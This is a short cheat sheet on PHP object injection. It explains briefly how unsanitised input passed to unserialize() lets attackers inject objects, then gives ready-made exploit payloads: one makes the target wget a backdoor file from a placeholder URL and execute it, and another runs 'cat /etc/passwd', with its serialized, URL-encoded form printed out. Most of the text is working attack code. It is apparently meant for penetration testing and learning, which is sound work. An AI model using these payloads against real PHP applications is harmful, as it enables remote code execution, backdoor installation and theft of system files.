PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Exploit

Reverse Shell

class PHPObjectInjection
{
   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
   public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

echo urlencode(serialize(new PHPObjectInjection));

Basic detection

class PHPObjectInjection
{
   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
   public $inject = "system('cat /etc/passwd');";
}

echo urlencode(serialize(new PHPObjectInjection));
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'

Thanks to

• https://www.owasp.org/index.php/PHP_Object_Injection